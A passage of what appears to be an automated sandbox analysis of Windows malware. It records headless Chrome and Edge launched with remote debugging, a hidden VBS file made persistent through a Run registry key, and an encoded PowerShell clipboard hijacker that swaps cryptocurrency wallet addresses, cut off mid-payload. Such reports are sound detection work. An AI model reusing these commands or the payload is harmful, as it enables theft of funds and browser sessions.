        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4824 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:4632
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4896 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5892
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4808 /prefetch:14
        5⤵
        
        PID:544
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4912 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:3320
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4840 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5252
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4808 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:3436
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4800 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:1964
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4728 /prefetch:14
        5⤵
        
        PID:4168
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4728 /prefetch:14
        5⤵
        
        PID:5908
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4708 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:3428
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4056 /prefetch:9
        5⤵
        Uses browser remote debugging
        
        PID:1272
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4224
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9876 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      Drops file in Windows directory
      Enumerates system info in registry
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4124
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x250,0x254,0x258,0x24c,0x260,0x7ffed554c188,0x7ffed554c194,0x7ffed554c1a0
        5⤵
        
        PID:5396
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=1960,i,12064157951059304544,16444855317409998667,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1948 /prefetch:2
        5⤵
        
        PID:1592
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1960,i,12064157951059304544,16444855317409998667,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2116 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:3880
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1960,i,12064157951059304544,16444855317409998667,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:13
        5⤵
        
        PID:4228
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=1960,i,12064157951059304544,16444855317409998667,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3292 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:4808
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=1960,i,12064157951059304544,16444855317409998667,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3296 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:4424
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=1960,i,12064157951059304544,16444855317409998667,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3896 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5332
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=1960,i,12064157951059304544,16444855317409998667,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4212 /prefetch:9
        5⤵
        Uses browser remote debugging
        
        PID:5548
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1960,i,12064157951059304544,16444855317409998667,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4704 /prefetch:14
        5⤵
        
        PID:3252
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1960,i,12064157951059304544,16444855317409998667,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4804 /prefetch:14
        5⤵
        
        PID:1940
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1960,i,12064157951059304544,16444855317409998667,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4820 /prefetch:14
        5⤵
        
        PID:3512
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1960,i,12064157951059304544,16444855317409998667,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5224 /prefetch:14
        5⤵
        
        PID:672
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1960,i,12064157951059304544,16444855317409998667,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5224 /prefetch:14
        5⤵
        
        PID:3384
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1960,i,12064157951059304544,16444855317409998667,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5568 /prefetch:14
        5⤵
        
        PID:5256
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=1960,i,12064157951059304544,16444855317409998667,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5648 /prefetch:14
        5⤵
        
        PID:3124
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\tmp1uxnf3i7.ps1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\vtAqjUegAu.vbs""
      4⤵
      Hide Artifacts: Hidden Files and Directories
      Suspicious use of WriteProcessMemory
      PID:4252
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\vtAqjUegAu.vbs"
        5⤵
        Views/modifies file attributes
        
        PID:5324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "vtAqjUegAu" /t REG_SZ /d "wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\vtAqjUegAu.vbs"" /f"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2448
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "vtAqjUegAu" /t REG_SZ /d "wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\vtAqjUegAu.vbs"" /f
        5⤵
        Adds Run key to start application
        
        PID:5344
  - - C:\Windows\SYSTEM32\wscript.exe
      wscript.exe C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\vtAqjUegAu.vbs
      4⤵
      Executes a VBScript file via the Windows Script Host.
      Suspicious use of WriteProcessMemory
      PID:1912
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand CgAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMACgAKACQAYQBkAGQAeQAgAD0AIABAAHsACgAKACAAIAAgACAAIgBiAHQAYwAiAD0AIgBiAGMAMQBxAGYAcAB0ADYAbABqAG0ANwBqADIAZQBkAHMAagBuADYAZgA4AGEAcQBzAHQAOQBxAHUANgB4ADUANQBkAGcAeQBmAHoAMwAwAGgAdwAiADsACgAKACAAIAAgACAAIgBlAHQAaAAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBsAHQAYwAiAD0AIgBsAHQAYwAxAHEAZgBjAHIAcABtAHgAdwA3ADQAMgBsAGMAZQBmADQAMwA1ADUAMgA2AGwAdwBkAHEAeQBuAHQAOABlAHIAcwBtAHQANAB5AGgAYQA3ACIAOwAKAAoAIAAgACAAIAAiAHUAcwBkAHQAIgA9ACIAVABVAEMAcgBhADcAYwA0ADgAYgB5AEwANAB4AEgAZgBaAFcAbgBYAGcAbQBKAEQAdQBQAHcAOQB1AHAAVABQAHoAMgAiADsACgAKACAAIAAgACAAIgB0AHIAeAAiAD0AIgBUAFUAQwByAGEANwBjADQAOABiAHkATAA0AHgASABmAFoAVwBuAFgAZwBtAEoARAB1AFAAdwA5AHUAcABUAFAAegAyACIAOwAKAAoAIAAgACAAIAAiAHMAbwBsACIAPQAiADUARQBXAHYATABLAFcAagA2ADYAcgBzAFYAdwBkAG8AVQBqAFQAeQBnAHUAagBqAFMAZgB1AHMARQBYAGYAVABSAGIAaAB2AFMANQBUAEIAaQAxAE0AeQAiADsACgAKACAAIAAgACAAIgB4AHIAcAAiAD0AIgByADMATgBWAEcAOQBQAEQAaABTAEoAZgBWAFIAdQBjAHYAVABoAFcAUwBQAGQAMQBRAEoAcgB2ADIAYwBuADIAZABvACIAOwAKAAoAIAAgACAAIAAiAHQAbwBuACIAPQAiAFUAUQBBADQAYQBsAGgAaAB2AGgAVABLAHEAeAB4AHUAdgB3AEMAeAByAHMAUgBsAEMASQBTAG0AQwBrADMAbQBLAFAAUAAwAHEARQBwAEwAcwB0AHIAcABtAHgAQgBpACIAOwAKAAoAIAAgACAAIAAiAGQAbwBnAGUAIgA9ACIARABHAGYANgBpAEoAZAA5AGIAZwBTAHQARwBkAEIASAA3AHYAeQB1AGsAcwBXAG0AZQA2AEYAQQB0AG4AbQBwAG8AdQAiADsACgAKACAAIAAgACAAIgBhAGQAYQAiAD0AIgBhAGQAZAByADEAcQA5AHUAYQBkAHMAcQBzAHUAcgB5AGwAagBqAG0AdABzAGEAbgBmAHcAMwB6ADgAdABzAHcAcQBhAGQAOQB3AGQAdQB2AGoAegA5ADMAawBxAHAAaABmAG4AcABzADAAcQBuADMAZABxAGMAbAAyAG4AawBhADgAZgB4AHkAcQB4AGoAOQB4AHQAcgB4AHcANwBwAGoAcQB4AGsAdQBjADUAbQAyAG4AcABoAGsAZgBoADcAOABzADQAawA5ADMAdgA3ACIAOwAKAAoAIAAgACAAIAAiAHMAaABpAGIAIgA9ACIAMAB4ADgAZQA5ADcANwBjADAAMABFAGYAZQBGADAAZQAzAEMAOQBhADAANAA0AEMAMAA2ADQAMQBlADIANgA0ADgARgA3ADcAMwAxADQAMgA1AGQAIgA7AAoACgAgACAAIAAgACIAcABlAHAAZQAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBiAG4AYgAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBzAHUAaQAiAD0AIgAwAHgANAA5ADYAYwA1AGEAZABkAGYAMQA2ADYAZgA2ADcAOQAxAGEAMwBlAGUAYgAwAGIAMQBkADcANwBmAGQANgA1ADEAMABmADQANQA2ADIANQA2AGUANAAzAGEAOQBiADEAZAAwAGMANABhADgAOABiADMAMQA0AGYAZAA5ADcAZQAiADsACgAKACAAIAAgACAAIgB4AGwAbQAiAD0AIgBHAEEATQBCAEwAUwBQAEoASgBOAEMAUgBFAFcANwAyAFoARABDADIAQQBPAFoASgBMAEQANgBSAE4ATwBJAE4AWABHAE8ARwBMAFAASQBRAFAANgBOADMAQQA1AFUARABPAEMAWgBMAEUAQQA0ADQAIgA7AAoACgAgACAAIAAgACIAYgBjAGgAIgA9ACIAcQB6ADcAagB1ADAAOAA2AHAAMgAwAHMAdwBhAGgAcgByAGUAYQBoAGcANQBmADkANQBoAGgAZwBtAHUAdwBjAHoAcQBoAG4AbgA3AHAAbgBwAGQAIgAKAAoAfQAKAAoAdwBoAGkAbABlACgAJAB0AHIAdQBlACkAewAKACAAIAAgACAAdAByAHkAewAKACAAIAAgACAAIAAgACAAIAAkAHYAPQAkAG4AdQBsAGwACgAgACAAIAAgACAAIAAgACAAaQBmACgAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAGwAaQBwAGIAbwBhAHIAZABdADoAOgBDAG8AbgB0AGEAaQBuAHMAVABlAHgAdAAoACkAKQB7AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAEMAbABpAHAAYgBvAGEAcgBkAF0AOgA6AEcAZQB0AFQAZQB4AHQAKAApAC4AVAByAGkAbQAoACkACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAoACEAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIAVwBoAGkAdABlAFMAcABhAGMAZQAoACQAdAApACkAewAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAoADEAfAAzAHwAYgBjADEAKQBbAGEALQB6AEEALQBIAEoALQBOAFAALQBaADAALQA5AF0AewAyADUALAA2ADIAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAYgB0AGMAIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAwAHgAWwBhAC0AZgBBAC0ARgAwAC0AOQBdAHsANAAwAH0AJAAnACkAewAkAHYAPQAkAGEAZABkAHkAWwAiAGUAdABoACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4AKABMAHwATQB8AGwAdABjADEAKQBbAGEALQBrAG0ALQB6AEEALQBIAEoALQBOAFAALQBaADEALQA5AF0AewAyADYALAA0ADAAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAbAB0AGMAIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgBUAFsAYQAtAHoAQQAtAEgASgAtAE4AUAAtAFoAMAAtADkAXQB7ADMAMwB9ACQAJwApAHsAJAB2AD0AJABhAGQAZAB5AFsAIgB1AHMAZAB0ACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4AWwAxAC0AOQBBAC0ASABKAC0ATgBQAC0AWgBhAC0AawBtAC0AegBdAHsAMwAyACwANAA0AH0AJAAnACkAewAkAHYAPQAkAGEAZABkAHkAWwAiAHMAbwBsACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4AcgBbADAALQA5AGEALQB6AEEALQBaAF0AewAyADQALAAzADQAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAeAByAHAAIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAoAFUAUQB8AEUAUQApAFsAQQAtAFoAYQAtAHoAMAAtADkAXwAtAF0AewA0ADYAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAdABvAG4AIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgBEAFsANQAtADkAQQAtAEgASgAtAE4AUAAtAFUAXQBbADEALQA5AEEALQBIAEoALQBOAFAALQBaAGEALQBrAG0ALQB6AF0AewAzADIALAAzADMAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAZABvAGcAZQAiAF0AfQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABlAGwAcwBlAGkAZgAoACQAdAAgAC0AbQBhAHQAYwBoACAAJwBeAGEAZABkAHIAMQBbADAALQA5AGEALQB6AF0AewA1ADgALAB9ACQAfABeAEQAZAB6AEYARgBbAEEALQBaAGEALQB6ADAALQA5AF0AKwAnACkAewAkAHYAPQAkAGEAZABkAHkAWwAiAGEAZ